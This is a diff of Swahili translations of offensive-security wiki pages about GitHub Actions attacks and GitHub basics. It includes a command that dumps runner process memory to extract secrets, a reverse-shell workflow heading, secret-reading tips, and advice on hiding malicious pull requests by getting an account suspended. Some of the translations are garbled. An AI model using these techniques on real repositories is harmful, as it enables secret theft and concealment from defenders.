Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha na akaunti yenye jina hilo baada ya muda fulani. Ikiwa hazina ilikuwa na **nyota chini ya 100 kabla ya kubadilisha jina**, Github itaruhusu mtumiaji mpya aliyejiandikisha kwa jina hilo kuunda **hazina yenye jina sawa** na ile iliyofutwa.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hivyo basi ikiwa hatua inatumia repo kutoka kwa akaunti isiyokuwepo, bado inawezekana kwamba mshambuliaji anaweza kuunda akaunti hiyo na kuathiri hatua hiyo.
|
||||
> Hivyo basi ikiwa hatua inatumia hazina kutoka kwa akaunti isiyokuwepo, bado inawezekana kwamba mshambuliaji anaweza kuunda akaunti hiyo na kuathiri hatua hiyo.
|
||||
|
||||
Ikiwa repo nyingine zilikuwa zikitumika **kutegemea kutoka kwa repo za mtumiaji huyu**, mshambuliaji ataweza kuzikamata. Hapa kuna maelezo kamili zaidi: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
Ikiwa hazina nyingine zilikuwa zikitumika **kutegemea kutoka kwa hazina za mtumiaji huyu**, mshambuliaji ataweza kuziiba. Hapa kuna maelezo kamili zaidi: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Uhamasishaji wa Repo
|
||||
## Mabadiliko ya Repo
|
||||
|
||||
> [!NOTE]
|
||||
> Katika sehemu hii tutazungumzia mbinu ambazo zitaruhusu **kuhamasisha kutoka repo moja hadi nyingine** tukidhani tuna aina fulani ya ufikiaji kwenye ya kwanza (angalia sehemu iliyopita).
|
||||
|
||||
### Upoison wa Cache
|
||||
|
||||
Cache inatunzwa kati ya **mizunguko ya workflow katika tawi moja**. Hii ina maana kwamba ikiwa mshambuliaji **anaathiri** **kifurushi** ambacho kisha kinahifadhiwa kwenye cache na **kupakuliwa** na kutekelezwa na **workflow yenye mamlaka zaidi**, ataweza pia **kuathiri** workflow hiyo.
|
||||
Cache inashikiliwa kati ya **mizunguko ya workflow katika tawi moja**. Hii ina maana kwamba ikiwa mshambuliaji **ataathiri** **pakiti** ambayo kisha inahifadhiwa kwenye cache na **kupakuliwa** na kutekelezwa na **workflow yenye mamlaka zaidi**, ataweza pia **kuathiri** workflow hiyo.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
@@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md
|
||||
|
||||
### Upoison wa Kazi
|
||||
|
||||
Workflows zinaweza kutumia **kazi kutoka kwa workflows nyingine na hata repos**, ikiwa mshambuliaji anafanikiwa **kuathiri** Github Action inayopakia **kazi** ambayo baadaye inatumika na workflow nyingine, anaweza **kuathiri workflows nyingine**:
|
||||
Workflows zinaweza kutumia **kazi kutoka kwa workflows nyingine na hata hazina**, ikiwa mshambuliaji anafanikiwa **kuathiri** Github Action inay **pakia kazi** ambayo baadaye inatumika na workflow nyingine, anaweza **kuathiri workflows nyingine**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -376,7 +376,7 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## Baada ya Kutekeleza kutoka kwa Hatua
|
||||
## Baada ya Utekelezaji kutoka kwa Hatua
|
||||
|
||||
### Kufikia AWS na GCP kupitia OIDC
|
||||
|
||||
@@ -392,7 +392,7 @@ Angalia kurasa zifuatazo:
|
||||
|
||||
### Kufikia siri <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
Ikiwa unachanganya maudhui kwenye script, ni muhimu kujua jinsi unavyoweza kufikia siri:
|
||||
Ikiwa unachoma maudhui kwenye script, ni muhimu kujua jinsi ya kufikia siri:
|
||||
|
||||
- Ikiwa siri au token imewekwa kwenye **kigezo cha mazingira**, inaweza kufikiwa moja kwa moja kupitia mazingira kwa kutumia **`printenv`**.
|
||||
|
||||
@@ -425,7 +425,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Pata shell ya kinyume na siri</summary>
|
||||
<summary>Pata shell ya kurudi na siri</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -466,7 +466,7 @@ key: ${{ secrets.PUBLISH_KEY }}
|
||||
|
||||
### Kutumia Runners za Kujihudumia
|
||||
|
||||
Njia ya kupata ni zipi **Github Actions zinafanywa katika miundombinu isiyo ya github** ni kutafuta **`runs-on: self-hosted`** katika usanidi wa yaml wa Github Action.
|
||||
Njia ya kutafuta ni zipi **Github Actions zinazotekelezwa katika miundombinu isiyo ya github** ni kutafuta **`runs-on: self-hosted`** katika usanidi wa yaml wa Github Action.
|
||||
|
||||
**Runners za kujihudumia** zinaweza kuwa na ufikiaji wa **habari nyeti zaidi**, kwa mifumo mingine ya **mtandao** (nukta dhaifu katika mtandao? huduma ya metadata?) au, hata kama imejitengea na kuharibiwa, **hatua zaidi ya moja zinaweza kufanywa kwa wakati mmoja** na ile mbaya inaweza **kuiba siri** za nyingine.
|
||||
|
||||
@@ -475,12 +475,12 @@ Katika runners za kujihudumia pia inawezekana kupata **siri kutoka kwa \_Runner.
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
Check [**hii posti kwa maelezo zaidi**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
Angalia [**post hii kwa maelezo zaidi**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker Images Registry
|
||||
|
||||
Inawezekana kuunda Github actions ambazo **zitajenga na kuhifadhi picha ya Docker ndani ya Github**.\
|
||||
Mfano unaweza kupatikana katika ifuatayo inayoweza kupanuliwa:
|
||||
Mfano unaweza kupatikana katika yafuatayo yanayoweza kupanuliwa:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -515,35 +515,35 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
```
|
||||
</details>
|
||||
|
||||
Kama unavyoona katika msimbo uliopita, usajili wa Github unahifadhiwa katika **`ghcr.io`**.
|
||||
Kama unavyoona katika msimbo wa awali, usajili wa Github unahifadhiwa katika **`ghcr.io`**.
|
||||
|
||||
Mtumiaji mwenye ruhusa za kusoma juu ya repo basi ataweza kupakua Picha ya Docker akitumia tokeni ya ufikiaji wa kibinafsi:
|
||||
Mtumiaji mwenye ruhusa za kusoma juu ya repo ataweza kupakua Picha ya Docker kwa kutumia tokeni ya ufikiaji wa kibinafsi:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
Kisha, mtumiaji anaweza kutafuta **siri zilizovuja katika tabaka za picha za Docker:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive info in Github Actions logs
|
||||
### Taarifa nyeti katika kumbukumbu za Github Actions
|
||||
|
||||
Hata kama **Github** inajaribu **kubaini thamani za siri** katika rekodi za hatua na **kuepuka kuonyesha** hizo, **data nyeti nyingine** ambazo zinaweza kuwa zimeundwa katika utekelezaji wa hatua hiyo hazitafichwa. Kwa mfano, JWT iliyosainiwa kwa thamani ya siri haitafichwa isipokuwa [imewekwa maalum](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Hata kama **Github** inajaribu **kubaini thamani za siri** katika kumbukumbu za hatua na **kuepuka kuonyesha** hizo, **data nyeti nyingine** ambazo zinaweza kuwa zimeundwa katika utekelezaji wa hatua hiyo hazitafichwa. Kwa mfano, JWT iliyosainiwa kwa thamani ya siri haitafichwa isipokuwa [imewekwa maalum](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Covering your Tracks
|
||||
## Kufunika Nyayo Zako
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Kwanza kabisa, PR yoyote iliyoinuliwa inaonekana wazi kwa umma katika Github na kwa akaunti ya lengo ya GitHub. Katika GitHub kwa kawaida, **hatuwezi kufuta PR ya mtandao**, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zime **simamishwa** na Github, **PR zao zote zinafuta moja kwa moja** na kuondolewa kutoka mtandao. Hivyo ili kuficha shughuli zako unahitaji ama kupata **akaunti yako ya GitHub isimamishwe au kupata akaunti yako iwe na alama**. Hii it **ficha shughuli zako zote** kwenye GitHub kutoka mtandao (kimsingi kuondoa PR zako zote za unyakuzi)
|
||||
(Teknolojia kutoka [**hapa**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Kwanza kabisa, PR yoyote iliyoinuliwa inaonekana wazi kwa umma katika Github na kwa akaunti ya lengo ya GitHub. Katika GitHub kwa kawaida, **hatuwezi kufuta PR ya mtandao**, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zime **simamishwa** na Github, PR zao zote **zinafuta moja kwa moja** na kuondolewa kutoka mtandao. Hivyo ili kuficha shughuli zako unahitaji ama kupata **akaunti yako ya GitHub isimamishwe au kupata akaunti yako iwe na alama**. Hii itaficha **shughuli zako zote** kwenye GitHub kutoka mtandao (kimsingi kuondoa PR zako zote za unyanyasaji)
|
||||
|
||||
Shirika katika GitHub lina ufanisi mkubwa katika kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki "mambo fulani" katika Issue na watakikisha akaunti yako imesimamishwa ndani ya masaa 12 :p na hapo umepata, umefanya unyakuzi wako usionekane kwenye github.
|
||||
Shirika katika GitHub lina ufanisi mkubwa katika kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki "mambo fulani" katika Issue na watakikisha akaunti yako imesimamishwa ndani ya masaa 12 :p na hapo umepata, umefanya unyanyasaji wako usionekane kwenye github.
|
||||
|
||||
> [!WARNING]
|
||||
> Njia pekee kwa shirika kugundua kuwa wamekuwa wakilengwa ni kuangalia rekodi za GitHub kutoka SIEM kwani kutoka UI ya GitHub PR itakuwa imeondolewa.
|
||||
> Njia pekee kwa shirika kugundua kuwa wamekuwa wakilengwa ni kuangalia kumbukumbu za GitHub kutoka SIEM kwani kutoka kwa UI ya GitHub PR itakuwa imeondolewa.
|
||||
|
||||
## Tools
|
||||
## Zana
|
||||
|
||||
Zana zifuatazo ni muhimu kupata Github Action workflows na hata kupata zile zenye udhaifu:
|
||||
Zana zifuatazo ni muhimu kutafuta michakato ya Github Action na hata kupata zile zenye udhaifu:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
|
||||
@@ -1 +1 @@
|
||||
# Gh Actions - Upoisonaji wa Vitu vya Kazi
|
||||
# Gh Actions - Artifact Poisoning
|
||||
|
||||
@@ -1 +1 @@
|
||||
# GH Actions - Utoaji wa Sumaku
|
||||
# GH Actions - Cache Poisoning
|
||||
|
||||
@@ -1 +1 @@
|
||||
# Gh Actions - Context Script Injections
|
||||
# Gh Actions - Makinika ya Muktadha wa Skripti
|
||||
|
||||
@@ -1,55 +1,55 @@
|
||||
# Accessible Deleted Data in Github
|
||||
# Data Zilizofutwa Zinazoweza Kupatikana katika Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Njia hizi za kufikia data kutoka Github ambayo ilionekana kufutwa [**ziliripotiwa katika chapisho hili la blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
Njia hizi za kufikia data kutoka Github ambazo zilionekana kufutwa [**ziliripotiwa katika chapisho hili la blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
|
||||
## Accessing Deleted Fork Data
|
||||
## Kufikia Data za Fork Zilizofutwa
|
||||
|
||||
1. Unafanya fork ya hifadhi ya umma
|
||||
1. Unaforki hifadhi ya umma
|
||||
2. Unafanya commit ya msimbo kwenye fork yako
|
||||
3. Unafuta fork yako
|
||||
|
||||
> [!CAUTION]
|
||||
> Data iliyofanywa commit katika fork iliyofutwa bado inapatikana.
|
||||
|
||||
## Accessing Deleted Repo Data
|
||||
## Kufikia Data za Repo Zilizofutwa
|
||||
|
||||
1. Una hifadhi ya umma kwenye GitHub.
|
||||
2. Mtumiaji anafanya fork ya hifadhi yako.
|
||||
3. Unafanya commit ya data baada ya wao kuifanya fork (na hawajawahi kusawazisha fork yao na masasisho yako).
|
||||
4. Unafuta hifadhi nzima.
|
||||
1. Una repo ya umma kwenye GitHub.
|
||||
2. Mtumiaji anafork repo yako.
|
||||
3. Unafanya commit ya data baada ya wao kuifork (na hawajawahi kusawazisha fork yao na masasisho yako).
|
||||
4. Unafuta repo nzima.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hata kama umefuta hifadhi yako, mabadiliko yote yaliyofanywa kwenye hiyo bado yanapatikana kupitia forks.
|
||||
> Hata kama umefuta repo yako, mabadiliko yote yaliyofanywa kwa hiyo bado yanapatikana kupitia forks.
|
||||
|
||||
## Accessing Private Repo Data
|
||||
## Kufikia Data za Repo za Faragha
|
||||
|
||||
1. Unaunda hifadhi ya kibinafsi ambayo hatimaye itafanywa kuwa ya umma.
|
||||
2. Unaunda toleo la kibinafsi, la ndani la hifadhi hiyo (kupitia forking) na kufanya commit ya msimbo wa ziada kwa vipengele ambavyo huenda usifanye kuwa ya umma.
|
||||
3. Unafanya hifadhi yako ya “upstream” kuwa ya umma na kuweka fork yako kuwa ya kibinafsi.
|
||||
1. Unaunda repo ya faragha ambayo hatimaye itafanywa kuwa ya umma.
|
||||
2. Unaunda toleo la faragha, la ndani la repo hiyo (kupitia forking) na kufanya commit ya msimbo wa ziada kwa vipengele ambavyo huenda usifanye kuwa umma.
|
||||
3. Unafanya repo yako ya "upstream" kuwa ya umma na kuweka fork yako kuwa ya faragha.
|
||||
|
||||
> [!CAUTION]
|
||||
> Inawezekana kufikia data yote iliyosukumwa kwenye fork ya ndani katika kipindi kati ya kuundwa kwa fork ya ndani na toleo la umma lilipofanywa kuwa la umma.
|
||||
> Inawezekana kufikia data zote zilizopushwa kwenye fork ya ndani katika kipindi kati ya kuundwa kwa fork ya ndani na toleo la umma lilipofanywa kuwa umma.
|
||||
|
||||
## How to discover commits from deleted/hidden forks
|
||||
## Jinsi ya kugundua commits kutoka kwa forks zilizofutwa/zinazofichwa
|
||||
|
||||
Chapisho sawa la blog linapendekeza chaguzi 2:
|
||||
|
||||
### Directly accessing the commit
|
||||
### Kufikia moja kwa moja commit
|
||||
|
||||
Ikiwa thamani ya ID ya commit (sha-1) inajulikana inawezekana kuifikia katika `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
|
||||
### Brute-forcing short SHA-1 values
|
||||
### Kuongeza nguvu thamani za fupi za SHA-1
|
||||
|
||||
Ni sawa kufikia zote hizi mbili:
|
||||
Ni sawa kufikia zote mbili hizi:
|
||||
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
|
||||
|
||||
Na ya hivi karibuni inatumia sha-1 fupi ambayo inaweza kufanywa brute force.
|
||||
Na ya hivi karibuni inatumia sha-1 fupi ambayo inaweza kuongezwa nguvu.
|
||||
|
||||
## References
|
||||
## Marejeleo
|
||||
|
||||
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
|
||||
|
||||
|
||||
@@ -1,27 +1,27 @@
|
||||
# Basic Github Information
|
||||
# Msingi wa Taarifa za Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Structure
|
||||
## Muundo wa Msingi
|
||||
|
||||
Muundo wa msingi wa mazingira ya github ya **kampuni** kubwa ni kumiliki **enterprise** ambayo inamiliki **mashirika kadhaa** na kila moja yao inaweza kuwa na **hifadhi kadhaa** na **timu kadhaa**. Kampuni ndogo zinaweza kumiliki tu **shirika moja na hakuna enterprise**.
|
||||
Muundo wa mazingira ya github wa **kampuni** kubwa ni kumiliki **enterprise** ambayo inamiliki **mashirika kadhaa** na kila moja yao inaweza kuwa na **hifadhi kadhaa** na **timu kadhaa**. Kampuni ndogo zinaweza kumiliki tu **shirika moja na hakuna enterprises**.
|
||||
|
||||
Kwa mtazamo wa mtumiaji, **mtumiaji** anaweza kuwa **mwanachama** wa **mashirika na enterprises tofauti**. Ndani yao, mtumiaji anaweza kuwa na **mifumo tofauti ya enterprise, shirika na hifadhi**.
|
||||
Kwa mtazamo wa mtumiaji, **mtumiaji** anaweza kuwa **mwanachama** wa **mashirika na enterprises tofauti**. Ndani yao, mtumiaji anaweza kuwa na **majukumu tofauti ya enterprise, shirika na hifadhi**.
|
||||
|
||||
Zaidi ya hayo, mtumiaji anaweza kuwa **sehemu ya timu tofauti** zikiwa na mifumo tofauti ya enterprise, shirika au hifadhi.
|
||||
Zaidi ya hayo, mtumiaji anaweza kuwa **sehemu ya timu tofauti** zikiwa na majukumu tofauti ya enterprise, shirika au hifadhi.
|
||||
|
||||
Na hatimaye, **hifadhi zinaweza kuwa na mifumo maalum ya ulinzi**.
|
||||
|
||||
## Privileges
|
||||
|
||||
### Enterprise Roles
|
||||
### Majukumu ya Enterprise
|
||||
|
||||
- **Mmiliki wa Enterprise**: Watu wenye jukumu hili wanaweza **kusimamia wasimamizi, kusimamia mashirika ndani ya enterprise, kusimamia mipangilio ya enterprise, kutekeleza sera katika mashirika**. Hata hivyo, hawawezi **kufikia mipangilio ya shirika au maudhui** isipokuwa wametengenezwa kuwa mmiliki wa shirika au kupewa ufikiaji wa moja kwa moja kwa hifadhi inayomilikiwa na shirika.
|
||||
- **Mmiliki wa Enterprise**: Watu wenye jukumu hili wanaweza **kusimamia wasimamizi, kusimamia mashirika ndani ya enterprise, kusimamia mipangilio ya enterprise, kutekeleza sera kati ya mashirika**. Hata hivyo, hawawezi **kufikia mipangilio ya shirika au maudhui** isipokuwa wametolewa kuwa mmiliki wa shirika au kupewa ufikiaji wa moja kwa moja kwa hifadhi inayomilikiwa na shirika.
|
||||
- **Wajumbe wa Enterprise**: Wajumbe wa mashirika yanayomilikiwa na enterprise yako pia ni **wanachama wa enterprise** kiotomatiki.
|
||||
|
||||
### Organization Roles
|
||||
### Majukumu ya Shirika
|
||||
|
||||
Katika shirika, watumiaji wanaweza kuwa na mifumo tofauti:
|
||||
Katika shirika, watumiaji wanaweza kuwa na majukumu tofauti:
|
||||
|
||||
- **Wamiliki wa Shirika**: Wamiliki wa shirika wana **ufikiaji kamili wa kiutawala kwa shirika lako**. Jukumu hili linapaswa kuwa na mipaka, lakini si chini ya watu wawili, katika shirika lako.
|
||||
- **Wajumbe wa Shirika**: Jukumu la **kawaida**, lisilo la kiutawala kwa **watu katika shirika** ni mwanachama wa shirika. Kwa kawaida, wajumbe wa shirika **wana idadi ya ruhusa**.
|
||||
@@ -31,51 +31,51 @@ Katika shirika, watumiaji wanaweza kuwa na mifumo tofauti:
|
||||
- **Wasimamizi wa Github App**: Ili kuruhusu watumiaji wengine **kusimamia Github Apps zinazomilikiwa na shirika**, mmiliki anaweza kuwapa ruhusa za msimamizi wa Github App.
|
||||
- **Washirikishi wa Nje**: Mshirikishi wa nje ni mtu ambaye ana **ufikiaji wa hifadhi moja au zaidi za shirika lakini si mwanachama** wa shirika kwa wazi.
|
||||
|
||||
Unaweza **kulinganisha ruhusa** za mifumo hii katika jedwali hili: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
Unaweza **kulinganisha ruhusa** za majukumu haya katika jedwali hili: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Members Privileges
|
||||
### Privileges za Wajumbe
|
||||
|
||||
Katika _https://github.com/organizations/\<org_name>/settings/member_privileges_ unaweza kuona **ruhusa ambazo watumiaji watakuwa nazo kwa kuwa sehemu ya shirika**.
|
||||
|
||||
Mipangilio hapa iliyowekwa itaonyesha ruhusa zifuatazo za wanachama wa shirika:
|
||||
Mipangilio hapa iliyowekwa itaonyesha ruhusa zifuatazo za wajumbe wa shirika:
|
||||
|
||||
- Kuwa msimamizi, mwandishi, msomaji au hakuna ruhusa juu ya hifadhi zote za shirika.
|
||||
- Ikiwa wanachama wanaweza kuunda hifadhi za kibinafsi, za ndani au za umma.
|
||||
- Ikiwa wajumbe wanaweza kuunda hifadhi za kibinafsi, za ndani au za umma.
|
||||
- Ikiwa kuiga hifadhi kunawezekana
|
||||
- Ikiwa inawezekana kuwalika washirikishi wa nje
|
||||
- Ikiwa tovuti za umma au za kibinafsi zinaweza kuchapishwa
|
||||
- Ruhusa ambazo wasimamizi wanazo juu ya hifadhi
|
||||
- Ikiwa wanachama wanaweza kuunda timu mpya
|
||||
- Ikiwa wajumbe wanaweza kuunda timu mpya
|
||||
|
||||
### Repository Roles
|
||||
### Majukumu ya Hifadhi
|
||||
|
||||
Kwa kawaida mifumo ya hifadhi huundwa:
|
||||
Kwa kawaida majukumu ya hifadhi huundwa:
|
||||
|
||||
- **Soma**: Inapendekezwa kwa **wasaidizi wasio wa msimbo** wanaotaka kuona au kujadili mradi wako
|
||||
- **Triage**: Inapendekezwa kwa **wasaidizi wanaohitaji kusimamia masuala na ombi la kuvuta** bila ufikiaji wa kuandika
|
||||
- **Andika**: Inapendekezwa kwa wasaidizi ambao **wanasukuma kwa nguvu kwenye mradi wako**
|
||||
- **Soma**: Inapendekezwa kwa **watoaji wa msimbo wasiokuwa na mchango** wanaotaka kuona au kujadili mradi wako
|
||||
- **Triage**: Inapendekezwa kwa **watoaji wa mchango wanaohitaji kusimamia masuala na ombi la kuvuta** bila ufikiaji wa kuandika
|
||||
- **Andika**: Inapendekezwa kwa watoaji wa mchango wanao **sukuma kwa nguvu mradi wako**
|
||||
- **Simamisha**: Inapendekezwa kwa **wasimamizi wa mradi wanaohitaji kusimamia hifadhi** bila ufikiaji wa vitendo nyeti au vya kuharibu
|
||||
- **Msimamizi**: Inapendekezwa kwa watu wanaohitaji **ufikiaji kamili wa mradi**, ikiwa ni pamoja na vitendo nyeti na vya kuharibu kama kusimamia usalama au kufuta hifadhi
|
||||
|
||||
Unaweza **kulinganisha ruhusa** za kila jukumu katika jedwali hili [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
Unaweza pia **kuunda mifumo yako mwenyewe** katika _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
Unaweza pia **kuunda majukumu yako mwenyewe** katika _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Teams
|
||||
### Timu
|
||||
|
||||
Unaweza **orodhesha timu zilizoundwa katika shirika** katika _https://github.com/orgs/\<org_name>/teams_. Kumbuka kuwa ili kuona timu ambazo ni watoto wa timu nyingine unahitaji kufikia kila timu ya mzazi.
|
||||
|
||||
### Users
|
||||
### Watumiaji
|
||||
|
||||
Watumiaji wa shirika wanaweza **orodheshwa** katika _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
Katika taarifa za kila mtumiaji unaweza kuona **timu ambazo mtumiaji ni mwanachama wa**, na **hifadhi ambazo mtumiaji ana ufikiaji wa**.
|
||||
Katika taarifa za kila mtumiaji unaweza kuona **timu ambazo mtumiaji ni mwanachama wa**, na **hifadhi ambazo mtumiaji ana ufikiaji**.
|
||||
|
||||
## Github Authentication
|
||||
## Uthibitishaji wa Github
|
||||
|
||||
Github inatoa njia tofauti za kuthibitisha akaunti yako na kufanya vitendo kwa niaba yako.
|
||||
|
||||
### Web Access
|
||||
### Ufikiaji wa Mtandao
|
||||
|
||||
Kwa kufikia **github.com** unaweza kuingia kwa kutumia **jina lako la mtumiaji na nenosiri** (na **2FA huenda**).
|
||||
|
||||
@@ -85,70 +85,70 @@ Unaweza kuunda akaunti yako na funguo moja au kadhaa za umma zinazoruhusu **fung
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
Huwezi **kujifanya kuwa mtumiaji kwa funguo hizi** lakini ikiwa huzitumii inaweza kuwa inawezekana kwamba **unagundulika kwa kutuma commits bila saini**. Jifunze zaidi kuhusu [mode ya uangalizi hapa](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
Huwezi **kujifanya kuwa mtumiaji kwa funguo hizi** lakini ikiwa huzi tumii inaweza kuwa inawezekana kwamba **unagundulika kwa kutuma commits bila saini**. Jifunze zaidi kuhusu [mode ya uangalizi hapa](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Personal Access Tokens**
|
||||
### **Tokens za Ufikiaji wa Kibinafsi**
|
||||
|
||||
Unaweza kuunda token za ufikiaji wa kibinafsi ili **kutoa ufikiaji wa programu kwa akaunti yako**. Wakati wa kuunda token ya ufikiaji wa kibinafsi, **mtumiaji** anahitaji **kueleza** **ruhusa** ambazo **token** itakuwa nazo. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Programu za Oauth zinaweza kukuomba ruhusa **za kufikia sehemu ya taarifa zako za github au kujifanya kuwa wewe** ili kufanya vitendo fulani. Mfano wa kawaida wa kazi hii ni **kitufe cha kuingia na github** ambacho unaweza kukutana nacho katika baadhi ya majukwaa.
|
||||
Oauth applications zinaweza kukuomba ruhusa **za kufikia sehemu ya taarifa zako za github au kujifanya kuwa wewe** ili kufanya vitendo fulani. Mfano wa kawaida wa kazi hii ni **kitufe cha kuingia na github** ambacho unaweza kukiona katika baadhi ya majukwaa.
|
||||
|
||||
- Unaweza **kuunda** programu zako za **Oauth** katika [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Unaweza kuona **programu za Oauth ambazo zina ufikiaji wa akaunti yako** katika [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Unaweza kuona **programu zote za Oauth ambazo zina ufikiaji wa akaunti yako** katika [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Unaweza kuona **mipaka ambayo Oauth Apps zinaweza kuomba** katika [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Unaweza kuona ufikiaji wa wahusika wengine wa programu katika **shirika** katika _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- Unaweza kuona ufikiaji wa wahusika wengine wa programu katika _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Baadhi ya **mapendekezo ya usalama**:
|
||||
|
||||
- **Programu ya OAuth** inapaswa kila wakati **kufanya kama mtumiaji aliyethibitishwa wa GitHub katika GitHub yote** (kwa mfano, wakati wa kutoa arifa za mtumiaji) na kwa ufikiaji tu wa mipaka iliyotajwa.
|
||||
- Programu ya OAuth inaweza kutumika kama mtoa kitambulisho kwa kuwezesha "Ingia na GitHub" kwa mtumiaji aliyethibitishwa.
|
||||
- **Usijenge** **Programu ya OAuth** ikiwa unataka programu yako ifanye kazi kwenye **hifadhi moja**. Kwa mipaka ya `repo`, Programu za OAuth zinaweza **kufanya kazi kwenye \_zote**\_\*\* za hifadhi za mtumiaji aliyethibitishwa\*\*.
|
||||
- **Usijenge** Programu ya OAuth ili kufanya kazi kama programu kwa **timu au kampuni** yako. Programu za OAuth zinathibitishwa kama **mtumiaji mmoja**, hivyo ikiwa mtu mmoja anaunda Programu ya OAuth kwa kampuni kutumia, na kisha anaondoka kampuni, hakuna mtu mwingine atakayekuwa na ufikiaji wake.
|
||||
- **OAuth App** inapaswa kila wakati **kufanya kazi kama mtumiaji aliyethibitishwa wa GitHub katika GitHub yote** (kwa mfano, wakati wa kutoa arifa za mtumiaji) na kwa ufikiaji tu wa mipaka iliyotajwa.
|
||||
- OAuth App inaweza kutumika kama mtoa kitambulisho kwa kuwezesha "Ingia na GitHub" kwa mtumiaji aliyethibitishwa.
|
||||
- **Usijenge** **OAuth App** ikiwa unataka programu yako ifanye kazi kwenye **hifadhi moja**. Kwa mipaka ya `repo`, OAuth Apps zinaweza **kufanya kazi kwenye \_zote**\_\*\* za hifadhi za mtumiaji aliyethibitishwa\*\*.
|
||||
